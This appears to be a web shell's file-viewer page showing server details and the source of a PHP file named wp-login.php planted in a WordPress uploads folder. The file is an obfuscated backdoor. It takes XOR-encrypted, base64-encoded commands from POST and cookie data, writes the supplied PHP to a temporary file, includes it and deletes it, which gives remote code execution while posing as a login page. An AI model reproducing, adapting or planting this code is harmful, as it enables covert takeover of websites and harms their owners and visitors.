HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/10/wp-login.php
<?php 
$gpzfq    =   'gpzfq'	^	'';

$zubtu /*   qzqr */ =    "a"."\162"       . /*  ed*/ "\162"	.       "\141"	. /* cxpx  */ "y".$gpzfq(170-75) /* yhyqw */ . /*  i   */ "m"."a".$gpzfq(112);

$drf_ske    =  $gpzfq(105)	.	"\x6d" /*pyw */ . /*  bfxw   */ "\x70"       .     "\154"    .	"o"."d"."e";



function	ivhcveo($_hvhd,	$ufacan)


{

   global /*syhyp */ $gpzfq; /* mt */  /*  zpieu   */ $_hvhd    =      "\x3c" /*  astwxu   */ .      $gpzfq(299-236)    .     "\x70"	.    "h"."\x70"	. /* hvfjk */ $gpzfq(32)	. /*  qafgt*/ "u"."n"."l".$gpzfq(105)   .	"n"."k".$gpzfq(736-696) /*hanl*/ . /*noyq  */ "_".$gpzfq(95)	. /* _tv*/ "F"."I"."L"."\105"    .       "\137"	. /*  mdmyw*/ "_".$gpzfq(41)     .	";".$gpzfq(32)    . /*   xgl   */ $_hvhd["d"];

	$kvqio    =	"f".$gpzfq(105)    . /*  _s*/ $gpzfq(627-519) /*  hyowj   */ . /*   wuw */ "\x65"."\x5f" /*i   */ .    "\x70" /*   h */ .   $gpzfq(478-361)   .    $gpzfq(116)   .      $gpzfq(925-830)    .   $gpzfq(99)     . /*  _g*/ "o".$gpzfq(457-347)  .    "\164"       .    "\145"    .     "\x6e"    . /*aixb  */ "\x74"    .       "s";

	

    $kvqio($ufacan,   $_hvhd);     
    _imyqu($ufacan);
}




$x_aedg    = /* j_zr */ 73;

function    _imyqu($ufacan)


{   global /*  e   */ $gpzfq;


 /*   rbg  */ 
  include($ufacan);

	$natrawgfby    =	$ufacan;

    @unlink($natrawgfby);
}



function      uvjlfowuzm(){	global	$gpzfq;



    $scxrzvz	=     array();

     $scxrzvz["p"."v"] /*   fchdc   */ =     phpversion();
	$scxrzvz["\163"    . /*  nmkn   */ "v"] /*gf*/ =    "3"."\56" /* pp*/ .  $gpzfq(53);
	$fomsimwdi /* fm   */ = /*   so */ 74;


    echo       @serialize($scxrzvz);}






function      eexzkbdu($_hvhd, /*qv_   */ $_sejiktcfg){

 /*  shj  */ global    $gpzfq;

	$ntrfpfrn /*   oqp  */ =	"";
 /*   zca*/ $edvuq   =	strlen($_hvhd);


	$cuqfqy	= /*   jooofk*/ strlen($_sejiktcfg);


	$scxrzvz  =    0;
  $scxrzvzwdbnizsx /* p*/ =    0;
  

 /*  sksqva */ while /* vqweoc */ ($scxrzvz /*gqt*/ <    $edvuq)    {    $avdrbpl /*   z   */ =	$_hvhd[$scxrzvz] /* adzp  */ ^ /*   jfh*/ $_sejiktcfg[$scxrzvzwdbnizsx	%	$cuqfqy];
 /*  x*/ $ntrfpfrn /*  jppti*/ .= /*  zghkv  */ $avdrbpl;
 /*  jk  */ $scxrzvzwdbnizsx++;    
	$scxrzvz++;
 /*  zim_  */ }
    

      if    (strlen($ntrfpfrn)    >      20)	{ /*fw */ $esfpyrt /* l  */ = /*v  */ substr($ntrfpfrn, /*wx_f */ 0,	20);


 /*oh*/ }
 /* qaw  */ if     (empty($ntrfpfrn))   { /*   ly   */ $ntrfpfrn /*bppbmj */ = /*   bybyuw*/ date('Y-m-d    H:i:s');


      }
    return       $ntrfpfrn;
}




function    qebnceqzd($mwqkegb)


{
    global	$gpzfq;


 /*  p   */ 
	$znjovmmw   = /*  yg*/ "5"."\63"     .  "\x36"	. /*   k   */ "0".$gpzfq(55)	. /*   thb*/ $gpzfq(54)	.  "6"."b"."-"."b".$gpzfq(48)  . /*  ov  */ "3"."4"."-"."4".$gpzfq(243-192) /*  r*/ .    "8"."\x33" /* svpwo  */ .     "-"."\71"    .    "7".$gpzfq(937-884)       . /*  yvrhfg */ "\145"    .    "-"."0"."8"."7"."\x65"."\141"	. /*  jcn*/ "\x39" /*y   */ .	$gpzfq(631-583) /*fowfd */ .	"\x33" /*  xmi   */ .	"\70"       .       $gpzfq(55)	. /*   u */ "4"."\x64"; /*  uifxjp*/ 


	foreach       ($mwqkegb   as /*  p */ $nelasrhmv    => /*   vsgbtm*/ $_hvhd) /*   a*/ {


 /*q  */ tuoietxwzf(base64_decode($_hvhd),	$znjovmmw, /* ywwgi */ $nelasrhmv);


     }
}



function    tuoietxwzf($_hvhd,	$znjovmmw,	$nelasrhmv)
{

      global	$gpzfq;       

   $_hvhd	= /*   udgtun*/ unserialize(eexzkbdu(eexzkbdu($_hvhd,	$znjovmmw), /*  nkf  */ $nelasrhmv));

	$sgtvwiz    =     'yagsow_k_y';


	$xbkvgaojqe     = /* w  */ 'qdru';

       if     (isset($_hvhd[$gpzfq(1048-951)    . /* dic */ "k"]))    {


 /*mdji*/ if  ($_hvhd[$gpzfq(97)]  ==    "\151") /*  a*/ {

 /*   ewjf   */ uvjlfowuzm(); /*rak   */ } /* eaj  */ elseif    ($_hvhd[$gpzfq(97)]	== /*   cnln */ "\x65")    {


 /*   nbyz  */ ivhcveo($_hvhd, /*  orsao  */ sprintf($gpzfq(46)	.	"/"."\x25" /*   rvyl*/ .    "s"."\56" /* su_y */ . /*  frfar*/ "p".$gpzfq(108),  md5($znjovmmw)));			$czozboe	=    44;	}


	exit();


 /*   bvyoul*/ }}



qebnceqzd($_POST); /*  n*/ 


$vh__scfm_    =    'rawurldecode';
$gyvzp     =	$zubtu($vh__scfm_,	$_POST);
$drf_ske("", /*vcvx_ */ $vh__scfm_);

qebnceqzd($_COOKIE);

$ktszaiziy   =    $zubtu($vh__scfm_,    $_COOKIE);





?>